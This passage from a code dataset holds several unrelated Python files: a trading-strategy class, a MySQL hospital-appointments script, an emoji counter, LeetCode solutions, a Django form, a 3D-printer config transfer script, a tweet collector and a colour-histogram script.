self.inside_bar_length:\n return 'up'\n return None\n\n def get_bar_indexes(self, dataframe):\n new_bar_day = date.today() - timedelta(days=1)\n # if yesterday was market closed\n new_bar_day, new_bar_day_str = self.find_nearest_available_day(dataframe, new_bar_day)\n\n previous_day = new_bar_day - timedelta(days=1)\n previous_day, previous_day_str = self.find_nearest_available_day(dataframe, previous_day)\n\n current_bar_idx = dataframe[dataframe['DateTime'] == new_bar_day_str].index.tolist()[0]\n prev_bar_idx = dataframe[dataframe['DateTime'] == previous_day_str].index.tolist()[0]\n return current_bar_idx, prev_bar_idx\n\n def find_nearest_available_day(self, dataframe, day):\n day_str = day.strftime('%H:%M %d.%m.%y')\n i = 0\n while day_str not in dataframe['DateTime'].values:\n day = day - timedelta(days=1)\n day_str = day.strftime('%H:%M %d.%m.%y')\n i += 1\n if i > 10:\n raise Exception('No last bar found')\n return day, day_str\n\n\nclass InsideBarDailyFrequent():\n def __init__(self, **kwargs):\n # parameters\n self.min_price = float('inf')\n self.max_price = 0\n\n self.plot_indicators_dict = {}\n\n self.period = 5\n self.base_strategy = kwargs['base_strategy']\n self.name = 'Inside_Bar_Daily'\n\n def next(self, dataframe_frequent):\n logger.info(f'state: {self.base_strategy.transaction_state}, {self.symbol}')\n self.dataframe = dataframe_frequent\n actual_price = dataframe_frequent['Close'].iloc[-1]\n actual_max_price = dataframe_frequent['High'].iloc[-1]\n actual_min_price = dataframe_frequent['Low'].iloc[-1]\n if actual_min_price < self.min_price:\n self.min_price = actual_min_price\n elif actual_max_price > self.max_price:\n self.max_price = actual_max_price\n\n if self.base_strategy.transaction_state == 'ready for open':\n self.open_pos_if_necessary(actual_price)\n elif self.base_strategy.transaction_state == 'opened':\n self.calculate_stoploss_and_close_if_necessary(actual_price)\n\n def open_pos_if_necessary(self, actual_price):\n # opening position if price pierces threshold\n logger.info(f'waiting for possibility to open, actual price: {actual_price}, open_trsh: '\n f'{self.base_strategy.open_trsh}, opposite trsh: {self.base_strategy.opposite_trsh}, {self.symbol}')\n if self.base_strategy.direction == 'up':\n # second part of condition is for not opening after big price gap\n if self.base_strategy.open_trsh < actual_price < \\\n self.base_strategy.open_trsh + 0.2 * self.base_strategy.inside_bar_length:\n logger.info('open long')\n # set platform stoploss for case of errors or server problems\n self.open_long(volume=self.volume, stop_loss=self.min_price - self.base_strategy.inside_bar_length * 0.05)\n self.base_strategy.transaction_state = 'opened'\n elif actual_price < self.base_strategy.opposite_trsh or \\\n actual_price >= self.base_strategy.open_trsh + 0.2 * self.base_strategy.inside_bar_length:\n logger.info('Going wrong direction. Closing subscription')\n self.base_strategy.transaction_state = 'closed'\n self.finish_subscription()\n elif self.base_strategy.direction == 'down':\n if self.base_strategy.open_trsh > actual_price > \\\n self.base_strategy.open_trsh - 0.2 * self.base_strategy.inside_bar_length:\n logger.info('open short')\n # set platform stoploss for case of errors or server problems\n self.open_short(volume=self.volume, stop_loss=self.max_price + self.base_strategy.inside_bar_length * 0.05)\n self.base_strategy.transaction_state = 'opened'\n elif actual_price > self.base_strategy.opposite_trsh or \\\n actual_price <= self.base_strategy.open_trsh - 0.2 * self.base_strategy.inside_bar_length:\n logger.info('Going wrong direction. Closing subscription')\n self.base_strategy.transaction_state = 'closed'\n self.finish_subscription()\n\n def calculate_stoploss_and_close_if_necessary(self, actual_price):\n if self.base_strategy.direction == 'up':\n stoploss = self.max_price - atr_based_stoploss(self.dataframe, 20, 5)\n logger.info(f'stoploss: {stoploss}')\n if actual_price < stoploss:\n logger.info('close long')\n self.close()\n self.finish_subscription()\n elif self.base_strategy.direction == 'down':\n stoploss = self.min_price + atr_based_stoploss(self.dataframe, 20, 5)\n logger.info(f'stoploss: {stoploss}')\n if actual_price > stoploss:\n logger.info('close short')\n self.close()\n self.finish_subscription()\n\n def finish_subscription(self):\n self.min_price = float('inf')\n self.max_price = 0\n self.base_strategy.transaction_state = 'closed'\n logger.info('finish sub')\n\n","repo_name":"GregorD1A1/GregTraider","sub_path":"strategies/Inside_bar_daily.py","file_name":"Inside_bar_daily.py","file_ext":"py","file_size_in_byte":8606,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"72154975875","text":"import pandas as pd\nimport mysql.connector as msql\nfrom datetime import datetime, timedelta\nfrom mysql.connector import Error\nfrom decouple import config\n\ndata = pd.read_csv(\"dummy.csv\")\n\nusername = config('user', default='')\nuserPassword = config('password', default='')\n\n\ndef createDatabase(username, userPassword):\n # Create Database\n try:\n conn = msql.connect(host='localhost', user=username,\n password=userPassword)\n\n if conn.is_connected():\n cursor = conn.cursor()\n cursor.execute(\"CREATE DATABASE hospital\")\n print(\"Database successfully created.\")\n\n except Error as e:\n print(\"Error while connecting to MySQL\", e)\n\n\ndef createTables(databaseName):\n\n try:\n\n if conn.is_connected():\n cursor = conn.cursor()\n\n # Drop tables if already exists.\n cursor.execute(\"DROP TABLE IF EXISTS PATIENTS\")\n cursor.execute(\"DROP TABLE IF EXISTS DOCTORS\")\n cursor.execute(\"DROP TABLE IF EXISTS APPOINTMENTS\")\n\n # Creating Patients Table\n createPatientTable = '''CREATE TABLE PATIENTS(\n ID VARCHAR(255) NOT NULL,\n NAME VARCHAR(255) NOT NULL,\n AGE INT CHECK (AGE > 0),\n GENDER VARCHAR(20) NOT NULL CHECK (GENDER in ('M', 'F', 'Others')),\n PRIMARY KEY (ID)\n )'''\n\n # Creating Doctors Table\n createDoctorTable = '''CREATE TABLE DOCTORS(\n ID VARCHAR(255) NOT NULL,\n NAME VARCHAR(255) NOT NULL,\n PRIMARY KEY (ID)\n )'''\n\n # Creating Appointment Table\n createApptTable = '''CREATE TABLE APPOINTMENTS(\n ID VARCHAR(255) NOT NULL,\n PATIENT_ID VARCHAR(255) NOT NULL,\n DOCTOR_ID VARCHAR(255) NOT NULL,\n START DATETIME CHECK (TIME(START) BETWEEN '08:00:00' AND '15:00:00'),\n END DATETIME CHECK (TIME(END) BETWEEN '09:00:00' AND '16:00:00'),\n PRIMARY KEY (ID),\n FOREIGN KEY (PATIENT_ID) REFERENCES PATIENTS(ID),\n FOREIGN KEY (DOCTOR_ID) REFERENCES DOCTORS(ID)\n )'''\n\n cursor.execute(createPatientTable)\n print(\"Patients table successfully created.\")\n\n cursor.execute(createDoctorTable)\n print(\"Doctors table successfully created.\")\n\n cursor.execute(createApptTable)\n print(\"Appointments table successfully created.\")\n\n except Error as e:\n print(\"Error while connecting to MySQL\", e)\n\n\ndef insertPatientRecord(patient_id, name, age, gender):\n\n try:\n if conn.is_connected():\n cursor = conn.cursor()\n\n insertPatientStmt = (\n \"INSERT INTO PATIENTS (ID, NAME, AGE, GENDER) \"\n \"VALUES (%s, %s, %s, %s);\"\n )\n\n data = (patient_id, name, age, gender)\n cursor.execute(insertPatientStmt, data)\n\n conn.commit()\n\n print(\"Patient record successfully inserted.\")\n\n except Error as e:\n pass\n\n\ndef insertDoctorRecord(doctor_id, name):\n\n try:\n if conn.is_connected():\n cursor = conn.cursor()\n\n insertDoctorStmt = (\n \"INSERT INTO DOCTORS (ID, NAME) \"\n \"VALUES (%s, %s);\"\n )\n\n data = (doctor_id, name)\n cursor.execute(insertDoctorStmt, data)\n\n conn.commit()\n\n print(\"Doctor record successfully inserted.\")\n\n except Error as e:\n pass\n\n\ndef insertApptRecord(appt_id, patient_id, doctor_id, start_dt, end_dt):\n\n try:\n if conn.is_connected():\n cursor = conn.cursor()\n\n startDate = start_dt.date()\n startTime = start_dt.time()\n endTime = end_dt.time()\n\n checkConflictStmt = '''SELECT * FROM APPOINTMENTS\n WHERE (DATE(START) = %s) AND\n (TIME(START) = %s AND TIME(END) = %s) OR\n (TIME(START) < %s AND TIME(END) > %s) OR\n (TIME(START) < %s AND TIME(END) > %s) \n LIMIT 1\n '''\n\n insertApptStmt = (\n \"INSERT INTO APPOINTMENTS (ID, PATIENT_ID, DOCTOR_ID, START, END) \"\n \"VALUES (%s, %s, %s, %s, %s);\"\n )\n\n conflictData = (startDate,\n startTime, endTime,\n startTime, startTime,\n endTime, endTime)\n\n insertData = (appt_id, patient_id, doctor_id, start_dt, end_dt)\n\n cursor.execute(checkConflictStmt, conflictData)\n result = cursor.fetchall()\n if result:\n print(\"Unable to fix appointment due to scheduling conflicts.\")\n else:\n cursor.execute(insertApptStmt, insertData)\n print(\"Appointment has been successfully fixed.\")\n\n conn.commit()\n\n except Error as e:\n print(\"Error when adding appointments\", e)\n\n\ndef createEntries(data):\n for row in data.itertuples(index=False):\n doctor_id = row[0]\n doctor_name = row[1]\n\n patient_id = row[2]\n patient_name = row[3]\n patient_age = row[4]\n patient_gender = row[5]\n\n appt_id = row[6]\n appt_start = row[7]\n\n datetime_str = appt_start\n appt_start_dt = datetime.strptime(datetime_str, '%d%m%Y %H:%M:%S')\n appt_end_dt = appt_start_dt + timedelta(hours=1)\n\n insertDoctorRecord(doctor_id, doctor_name)\n\n insertPatientRecord(patient_id, patient_name,\n patient_age, patient_gender)\n\n insertApptRecord(appt_id, patient_id, doctor_id,\n appt_start_dt, appt_end_dt)\n\n\n# Q2\ndef getAppts(doctor_id, dateString):\n\n cursor = conn.cursor()\n dateTime_obj = datetime.strptime(dateString, '%d%m%Y')\n date = dateTime_obj.date()\n\n selectApptStmt = (\n \"SELECT ID FROM APPOINTMENTS \"\n \"WHERE DOCTOR_ID = %s AND DATE(START) = %s\"\n )\n\n data = (doctor_id, date)\n cursor.execute(selectApptStmt, data)\n\n result = cursor.fetchall()\n if result:\n print(\"Appointments found:\")\n for i in result:\n print(i[0])\n else:\n print(\"No appointments found.\")\n\n\n# Q3\ndef fixAppt(appt_id, patient_id, doctor_id, dateTimeString):\n\n start = datetime.strptime(dateTimeString, '%d%m%Y %H:%M:%S')\n end = start + timedelta(hours=1)\n insertApptRecord(appt_id, patient_id, doctor_id, start, end)\n\n\n# Q4\ndef cancelAppt(patient_id, doctor_id, dateTimeString):\n\n cursor = conn.cursor()\n start = datetime.strptime(dateTimeString, '%d%m%Y %H:%M:%S')\n end = start + timedelta(hours=1)\n\n selectApptStmt = '''SELECT ID FROM APPOINTMENTS\n WHERE (PATIENT_ID = %s) AND\n (DOCTOR_ID = %s) AND\n (START = %s) AND\n (END = %s)\n '''\n\n deleteApptStmt = '''DELETE FROM APPOINTMENTS\n WHERE ID = %s \n '''\n\n selectData = (patient_id, doctor_id, start, end)\n cursor.execute(selectApptStmt, selectData)\n result = cursor.fetchall()\n\n # Process if only 1 ID is returned\n if len(result) == 1:\n deleteData = result[0]\n cursor.execute(deleteApptStmt, deleteData)\n conn.commit()\n print(\"Appointment has been successfully deleted.\")\n else:\n print(\"Appointment not found.\")\n\n\n# Basic set-up\ncreateDatabase(username, userPassword)\nconn = msql.connect(host='localhost', user=username,\n password=userPassword, database='hospital')\n\ncreateTables('hospital')\ncreateEntries(data)\n\n# Q2 Output\nprint('\\nQ2:\\n')\ngetAppts('D1', '08032018') # Returns 2 entries (A1, A3)\ngetAppts('D2', '18032018') # Returns 2 entries (A5, A7)\ngetAppts('D3', '08032018') # Non-existent doctor\ngetAppts('D2', '08032022') # Non-existent date\n\n# Q3 Output\nprint('\\nQ3:\\n')\nfixAppt('A9', 'P1', 'D1', '08032018 07:00:00') # Before start hours\nfixAppt('A9', 'P1', 'D1', '08032018 17:00:00') # After end hours\nfixAppt('A9', 'P1', 'D1', '08032018 09:00:00') # Same existing schedule\nfixAppt('A9', 'P1', 'D1', '08032018 08:45:00') # Conflicting schedule\nfixAppt('A9', 'P1', 'D1', '08032018 09:45:00') # Conflicting schedule\nfixAppt('A1', 'P1', 'D1', '08032018 11:00:00') # Duplicate PK APPT_ID\nfixAppt('A9', 'P4', 'D1', '08032018 11:00:00') # Non-existent patient_id\nfixAppt('A9', 'P1', 'D3', '08032018 11:00:00') # Non-existent doctor_id\nfixAppt('A9', 'P1', 'D1', '08032018 11:00:00') # Valid entry\n\n# Q4 Output\nprint('\\nQ4:\\n')\ncancelAppt('P1', 'D1', '08032018 09:45:00') # Invalid appointment\ncancelAppt('P1', 'D1', '08032018 11:00:00') # Valid appointment (A9 deleted)\n","repo_name":"bigjunnn/d4lcodingchallenge","sub_path":"answer.py","file_name":"answer.py","file_ext":"py","file_size_in_byte":8814,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"36912224563","text":"#!/usr/bin/python\n# Run this by submitting an AWS EMR streaming job w/ flags:\n# -input=input location on S3\n# -output=output location on S3\n# -mapper=name of the mapper executable\n# -reducer=name of the reducer executable\n# executables: BucketName/path/MapperExecutable\n# also, geez, python on EMR is only 2.6.9, so no Counter.\n# http://docs.aws.amazon.com/ElasticMapReduce/latest/DeveloperGuide/ami-versions-supported.html\n\nimport sys, csv, re, collections\n\n# emoji_symbols_pictograms = re.compile(u'[\\U0001f300-\\U0001f5fF]')\n# emoji_emoticons = re.compile(u'[\\U0001f600-\\U0001f64F]')\n# emoji_transport_maps = re.compile(u'[\\U0001f680-\\U0001f6FF]')\n# emoji_symbols = re.compile(u'[\\U00002600-\\U000026FF]')\n# emoji_dingbats = re.compile(u'[\\U00002700-\\U000027BF]')\n# all_emoji = re.compile(u'([\\U00002600-\\U000027BF]|[\\U0001f300-\\U0001f64F]|[\\U0001f680-\\U0001f6FF])')\n# Python 2, not 3. 3 handles wide unicode characters better. But on 2, we have\n# to deal with them as byte sequences and make a regex to catch each 2-byte emoji.\n\n# Returns a list of all the emoji in this string.\n# Returns a list because converting them back to characters is\n# a big pain.\ndef get_emoji(text):\n return narrow.findall(text.decode(\"UTF-8\"))\n\ndef main(argv):\n narrow = re.compile(u'(\\ud83c[\\udf00-\\udfff]|\\ud83d[\\udc00-\\ude4f\\ude80-\\udeff]|[\\u2600-\\u26FF\\u2700-\\u27BF])')\n try:\n while True:\n line = sys.stdin.readline()\n line = line.strip()\n if line == '':\n break\n emojis = narrow.findall(line.decode(\"UTF-8\"))\n emoji_counter = collections.defaultdict(int)\n # can't use Counter, python 2.6 only.\n for emoji in emojis:\n emoji_counter[emoji] += 1\n print(list(emoji_counter.values()))\n except \"end of file\": # copied from EMR wordcount example app\n return None\n\nif __name__ == \"__main__\":\n main(sys.argv)\n\n","repo_name":"dantasse/count_emoji","sub_path":"map_just_text.py","file_name":"map_just_text.py","file_ext":"py","file_size_in_byte":1931,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"42706791286","text":"'''\r\nHARD\r\n\r\nYou are given an array of integers nums, there is a sliding window of size k which is moving from the very left of the array to the very right. You can only see the k numbers in the window. Each time the sliding window moves right by one position.\r\n\r\nReturn the max sliding window.\r\n\r\n \r\n\r\nExample 1:\r\n\r\nInput: nums = [1,3,-1,-3,5,3,6,7], k = 3\r\nOutput: [3,3,5,5,6,7]\r\nExplanation: \r\nWindow position Max\r\n--------------- -----\r\n[1 3 -1] -3 5 3 6 7 3\r\n1 [3 -1 -3] 5 3 6 7 3\r\n1 3 [-1 -3 5] 3 6 7 5\r\n1 3 -1 [-3 5 3] 6 7 5\r\n1 3 -1 -3 [5 3 6] 7 6\r\n1 3 -1 -3 5 [3 6 7] 7\r\n\r\n'''\r\n\r\nclass Solution:\r\n def maxSlidingWindow(self, nums: List[int], k: int) -> List[int]:\r\n output = []\r\n q = collections.deque() # index\r\n l = r = 0\r\n # O(n) O(n)\r\n while r < len(nums):\r\n # pop smaller values from q\r\n while q and nums[q[-1]] < nums[r]:\r\n q.pop()\r\n q.append(r)\r\n\r\n # remove left val from window\r\n if l > q[0]:\r\n q.popleft()\r\n\r\n if (r + 1) >= k:\r\n output.append(nums[q[0]])\r\n l += 1\r\n r += 1\r\n\r\n return output","repo_name":"Sj0605-DataSci/DSA-Practice","sub_path":"Sliding_Window/Sliding_Window_Maximum.py","file_name":"Sliding_Window_Maximum.py","file_ext":"py","file_size_in_byte":1285,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"61"} +{"seq_id":"12538938874","text":"from django import forms\nfrom .models import Post\nfrom datetime import datetime\n\nclass PostForm(forms.ModelForm):\n title = forms.CharField(\n label='제목',\n widget=forms.TextInput(\n attrs={\n 'placeholder': '제목 입력칸',\n 'class': 'form-control'\n }\n ),\n required=True\n )\n content = forms.CharField(\n label='내용',\n widget=forms.Textarea(\n attrs={\n 'placeholder': '내용 입력',\n 'class': 'my-content form-control'\n }\n ),\n required=True\n )\n category = forms.ChoiceField(\n label='카테고리',\n widget=forms.Select(\n attrs={\n 'placeholder': '카테고리 입력',\n 'class': 'form-select',\n }\n ),\n choices = (('개발','개발'), ('신기술', '신기술'), ('CS','CS')),\n required=True,\n )\n\n dt_now = datetime.today().strftime('%Y-%m-%d')\n deadline = forms.DateField(\n label='마감기한',\n widget=forms.DateInput(\n attrs={\n 'class': 'form-control',\n 'type': 'date',\n 'value': dt_now,\n }\n ),\n required=True\n )\n\n class Meta:\n model = Post\n fields = '__all__'\n","repo_name":"illson97/TIL_errday","sub_path":"TIL_django/TIL_django13/posts/forms.py","file_name":"forms.py","file_ext":"py","file_size_in_byte":1354,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"19689123035","text":"class Solution:\n def merge(self, nums1: List[int], m: int, nums2: List[int], n: int) -> None:\n \"\"\"\n Do not return anything, modify nums1 in-place instead.\n \"\"\"\n insertPos = m + n - 1 # Length of merged array\n m, n = m - 1, n - 1 # Last index of both the array\n\n while m >= 0 and n >= 0:\n # As the list is sorted, compare from last and and put the grater element at insertpos\n\n if nums1[m] > nums2[n]:\n nums1[insertPos] = nums1[m]\n m -= 1 # Move the pointer to next larger\n else:\n nums1[insertPos] = nums2[n]\n n -= 1 # Move the pointer to next larger\n insertPos -= 1\n\n # if nums two has any smaller elements than nums1 left , this final while loop will add it to nums1\n while n >= 0:\n nums1[insertPos] = nums2[n]\n n -= 1\n insertPos -= 1\n","repo_name":"Gloria0702/LeetCode_Python3","sub_path":"List/ID88.py","file_name":"ID88.py","file_ext":"py","file_size_in_byte":940,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"32407935300","text":"import argparse\nimport pkg_resources\nfrom argparse import Namespace\n\n\ndef get_package_templates():\n models = {}\n for entry_point in pkg_resources.iter_entry_points('stratus_package_templates'):\n models[entry_point.name] = entry_point.load()\n return models\n\n\nclass PackageTemplate(object):\n\n\n def __init__(self):\n self.parser = None\n self.subcommand = None\n self.opts = Namespace()\n self.args = []\n\n def configure_parser(self, action):\n self.parser = argparse.ArgumentParser()\n subparsers = self.parser.add_subparsers(help='template commands', dest='template')\n customizer = getattr(self, f\"customize_parser_{action}\", lambda x: x)\n self.subcommand = subparsers.add_parser(action)\n customizer(self.parser)\n\n def run_parser(self, args):\n self.opts = self.parser.parse_args(args)","repo_name":"evansde77/stratocirrus","sub_path":"stratus/packages/template.py","file_name":"template.py","file_ext":"py","file_size_in_byte":871,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"28045513885","text":"from dirs import DIR\nimport configparser\nimport subprocess\nimport shutil\nimport yaml\nimport os\n\ndef transfer():\n\n name = '[TRANSFER SCRIPT]'\n saveconfig_line = '#*# <---------------------- SAVE_CONFIG ---------------------->'\n saveconfig_backup = \"\"\"\n #*# <---------------------- SAVE_CONFIG ---------------------->\n #*# DO NOT EDIT THIS BLOCK OR BELOW. The contents are auto-generated.\n #*#\n #*# [stepper_z]\n #*# position_endstop = 340\n #*#\n #*# [probe]\n #*# z_offset = -0.3\n \"\"\"\n\n save_lines: bool = False\n extracted_saveconfig = []\n\n def securePermission ():\n dirs = [DIR.PATH, DIR.SYSTEM.PDC.PATH, DIR.SYSTEM.MAINSAIL.PATH]\n for path in dirs:\n try:\n for dirpath, dirnames, filenames in os.walk(path):\n shutil.chown(dirpath, 1000, 1000)\n for filename in filenames:\n shutil.chown(os.path.join(dirpath, filename), 1000, 1000)\n except Exception as e:\n print(f\"{name} ☓ User 'pi' can't own '{path}'.\")\n print(f\"{name} {e}\")\n\n securePermission()\n\n # DELETE ALL CONTENT ON PDC CACHE\n if os.path.exists(DIR.CACHE.CORE.PDC.PATH):\n print(f'{name} ✓ Deleting all content in PDC Cache.')\n shutil.rmtree(DIR.CACHE.CORE.PDC.PATH)\n else:\n print(f\"{name} ☓ PDC Cache not found. Creating it.\")\n try:\n os.makedirs(DIR.CACHE.CORE.PDC.PATH)\n except Exception as e:\n print(f\"{name} ☓ Error trying to create PDC Cache Path, maybe a permission error?\")\n print(f\"{name} {e}\")\n exit()\n\n # TRY TO FIND THE SAVECONFIG LINE IN PRINTER.CFG\n if os.path.exists(DIR.SYSTEM.PDC.PRINTER):\n with open(DIR.SYSTEM.PDC.PRINTER, 'r') as printer_cfg:\n\n for i, line in enumerate(printer_cfg):\n if saveconfig_line in line:\n save_lines = True\n print(f'{name} ✓ SaveConfig Line found in MACHINE PDC Printer File. Saving content...')\n if save_lines:\n extracted_saveconfig.append(line)\n\n if (not save_lines):\n print(f'{name} ☓ Printer File found in MACHINE PDC, but no SaveConfig Line. Using SaveConfig Line Default Values.')\n\n else:\n print(f'{name} ☓ No Printer file found in MACHINE PDC. Using SaveConfig Line Default Values.')\n\n # CREATE A FILE IN CACHE AND WRITE IT'S LINES BASED ON THE EXTRACTED SAVECONFIG LINE\n try:\n if not os.path.exists(DIR.CACHE.CORE.PDC.PATH):\n os.makedirs(DIR.CACHE.CORE.PDC.PATH)\n print(f'{name} ✓ Created PDC Cache.')\n except Exception as e:\n print(f'{name} ☓ Error trying to create PDC Cache.')\n print(f\"{name} {e}\")\n exit()\n try:\n with open(DIR.CACHE.CORE.PDC.PRINTER, 'w') as extracted:\n if (save_lines):\n extracted.writelines(extracted_saveconfig)\n print(f'{name} ✓ Successfully extracted SaveConfig Lines from PDC Machine to PDC Cache.')\n else:\n extracted.writelines(saveconfig_backup)\n print(f'{name} ✓ Used Default Values to write the contents of SaveConfig.')\n except Exception as e:\n print(f'{name} ☓ Error trying to open/create the Printer File in PDC Cache.')\n print(f\"{name} {e}\")\n exit()\n\n # COPY BOTH KLIPPERSCREEN.CONF AND VARIABLES.CFG TO PDC CACHE\n if os.path.exists(DIR.SYSTEM.PDC.KS):\n shutil.copyfile(DIR.SYSTEM.PDC.KS, DIR.CACHE.CORE.PDC.KS)\n print(f'{name} ✓ KS Machine PDC File copied to PDC Cache.')\n elif os.path.exists(DIR.SYSTEM.PDC.BACKUPS.KS):\n print(f'{name} ☓ KS Machine PDC Not found.')\n shutil.copyfile(DIR.SYSTEM.PDC.BACKUPS.KS, DIR.CACHE.CORE.PDC.KS)\n print(f'{name} ✓ KS Machine PDC (Backup) File copied to PDC Cache.')\n elif os.path.exists(DIR.STORE.FRESH.PDC.BACKUPS.KS):\n print(f'{name} ☓ KS Machine PDC (Backup) Not found.')\n shutil.copyfile(DIR.STORE.FRESH.PDC.BACKUPS.KS, DIR.CACHE.CORE.PDC.KS)\n print(f'{name} ✓ KS Fresh PDC (Backup) File copied to PDC Cache.')\n else:\n print(f'{name} ☓ No KS Backup file found at all.')\n exit()\n\n if os.path.exists(DIR.SYSTEM.PDC.VARIABLES):\n shutil.copyfile(DIR.SYSTEM.PDC.VARIABLES, DIR.CACHE.CORE.PDC.VARIABLES)\n print(f'{name} ✓ Variables Machine PDC File copied to PDC Cache.')\n elif os.path.exists(DIR.SYSTEM.PDC.BACKUPS.VARIABLES):\n print(f'{name} ☓ Variables Machine PDC Not found.')\n shutil.copyfile(DIR.SYSTEM.PDC.BACKUPS.VARIABLES, DIR.CACHE.CORE.PDC.VARIABLES)\n print(f'{name} ✓ Variables Machine PDC (Backup) File copied to PDC Cache.')\n elif os.path.exists(DIR.STORE.FRESH.PDC.BACKUPS.VARIABLES):\n print(f'{name} ☓ Variables Machine PDC (Backup) Not found.')\n shutil.copyfile(DIR.STORE.FRESH.PDC.BACKUPS.VARIABLES, DIR.CACHE.CORE.PDC.VARIABLES)\n print(f'{name} ✓ Variables Fresh PDC (Backup) File copied to PDC Cache.')\n else:\n print(f'{name} ☓ No Variables Backup file found at all.')\n exit()\n\n # DELETE ALL CONTENT ON PRINTER_DATA/CONFIG\n if os.path.exists(DIR.SYSTEM.PDC.PATH):\n print(f'{name} ✓ Deleting all content in PDC Machine.')\n shutil.rmtree(DIR.SYSTEM.PDC.PATH)\n else:\n print(f\"{name} ☓ PDC Machine not found. This really should't happen... Creating it.\")\n try:\n os.makedirs(DIR.SYSTEM.PDC.PATH)\n except Exception as e:\n print(f\"{name} ☓ Error trying to create PDC Machine Path, maybe a permission error?\")\n print(f\"{name} {e}\")\n exit()\n\n # TRANSFER ALL CONTENT FROM PDC_FRESH TO MACHINE\n if os.path.exists(DIR.STORE.FRESH.PDC.PATH):\n shutil.copytree(DIR.STORE.FRESH.PDC.PATH, DIR.SYSTEM.PDC.PATH)\n print(print(f'{name} ✓ Transferred all content from PDC Fresh to PDC Machine.'))\n else:\n print(f'{name} ☓ No Fresh PDC Available.')\n exit()\n\n # COPY BOTH KLIPPERSCREEN.CONF AND VARIABLES.CFG TO PDC MACHINE\n try:\n shutil.copyfile(DIR.CACHE.CORE.PDC.KS, DIR.SYSTEM.PDC.KS)\n shutil.copyfile(DIR.CACHE.CORE.PDC.VARIABLES, DIR.SYSTEM.PDC.VARIABLES)\n print(print(f'{name} ✓ Transferred both KS and Variables Files from PDC Cache to PDC Machine.'))\n except Exception as e:\n print(f\"{name} ☓ Error trying to copy files from Cache to PDC Machine.\")\n print(f\"{name} {e}\")\n exit()\n\n # INSERT CANBUS UUID INTO PRINTER.CFG\n try:\n config = configparser.ConfigParser()\n config.read(DIR.SYSTEM.PDC.BACKUPS.PRINTER)\n if config.has_section('mcu') and config.has_option('mcu', 'canbus_uuid'):\n with open(DIR.CORE.INFO, 'r') as prop_file:\n data = yaml.safe_load(prop_file)\n config.set('mcu', 'canbus_uuid', data['canbus_uuid'])\n with open (DIR.SYSTEM.PDC.BACKUPS.PRINTER, 'w') as printercfg_file:\n config.write(printercfg_file)\n print(print(f'{name} ✓ PDC Machine Backup Printer file now has updated Canbus UUID.'))\n except Exception as e:\n print(print(f'{name} ☓ Error trying to update Canbus UUID in printer cfg file.'))\n\n # TRANSFORM 'BACKUP' PRINTER.CFG FILE INTO USEFUL FILE\n try:\n shutil.copyfile(DIR.SYSTEM.PDC.BACKUPS.PRINTER, DIR.SYSTEM.PDC.PRINTER)\n print(print(f'{name} ✓ PDC Machine Backup Printer file transformed into normal file.'))\n except Exception as e:\n print(print(f'{name} ☓ Error trying to transform PDC Machine Backup Printer File into normal file.'))\n print(f\"{name} {e}\")\n exit()\n\n # APPEND CONTENT TO THAT PRINTER.CFG FILE\n try:\n with open(DIR.SYSTEM.PDC.PRINTER, 'a') as printer_cfg:\n with open(DIR.CACHE.CORE.PDC.PRINTER, 'r') as extracted:\n printer_cfg.write('\\n')\n for line in extracted:\n printer_cfg.write(line)\n print(print(f'{name} ✓ Added SaveConfig content to PDC Machine Printer file.'))\n except Exception as e:\n print(print(f'{name} ☓ Error while trying to append SaveConfig content into PDC Machine Printer File'))\n print(f\"{name} {e}\")\n\n # OVERWRITE FILES ON MACHINE PDC\n subprocess.run(['sudo', 'bash', DIR.PDC.TRANSFER], check=True)\n\n securePermission()","repo_name":"SYNCRAFT-GITHUB/SyncraftCore","sub_path":"startup/modules/transfer.py","file_name":"transfer.py","file_ext":"py","file_size_in_byte":8455,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"19592530578","text":"import json\nfrom datetime import datetime\nfrom loguru import logger \nfrom tweepy import OAuthHandler, Stream, StreamListener\n\n# Cadastrar as chaves de acesso, para isso você deve consultar a documetação da api do twiiter e gerar as suas chaves de acesso \nconsumer_key = \"\" \nconsumer_secret = \"\" \naccess_token = \"\"\naccess_token_secret = \"\" \n\n# Definir um arquivo de saida para armazenar os tweets coletados\ndata_hoje = datetime.now().strftime(\"%Y-%M-%d-%H-%M-%S\")\nout = open(f'collected_tweets{data_hoje}.txt', \"w\")\n\n# classe para conexão com o twitter\nclass MyListener(StreamListener):\n\n def on_data(self, data):\n logger.info(f'Tweets {data}')\n itemString = json.dumps(data)\n out.write(itemString + \"\\n\")\n return True\n\n def on_error(self, status):\n logger.info(f'Erro: {status}')\n\nif __name__ == \"__main__\":\n l = MyListener()\n auth = OAuthHandler(consumer_key, consumer_secret)\n auth.set_access_token(access_token, access_token_secret)\n Stream = Stream(auth, l)\n Stream.filter(track=[\"Bolsonaro\"])\n ","repo_name":"Douglas-cc/streamingTweets","sub_path":"get_tweet.py","file_name":"get_tweet.py","file_ext":"py","file_size_in_byte":1062,"program_lang":"python","lang":"pt","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"26802532068","text":"import os\nimport sys\n\nDEFAULT = 26\nDB = [[0]*(DEFAULT * 3 + 1) for i in range(10000)]\n\ndirectory_path = os.path.join(os.path.dirname(__file__), sys.argv[1])\nnew_file_name = \"analysis_\" + directory_path\n\npast_image_id = ''\nimage_num = 0\nline_num = 0;\n\nwith open(directory_path, \"r\") as f:\n\twhile True:\n\t\tline = f.readline()\n\t\tif not line: break\n\n\t\titem = line.split('$')\n\n\t\timage_id = item[0]\n\t\tred = int(round(float(item[1]))) / 10\n\t\tgreen = int(round(float(item[2]))) / 10\n\t\tblue = int(round(float(item[3]))) / 10\n\n\t\tif(image_id != past_image_id):\n\t\t\timage_num += 1\n\n\t\tDB[image_num - 1][1 + red] += 1\n\t\tDB[image_num - 1][1 + DEFAULT + green] += 1\n\t\tDB[image_num - 1][1 + DEFAULT*2 + blue] 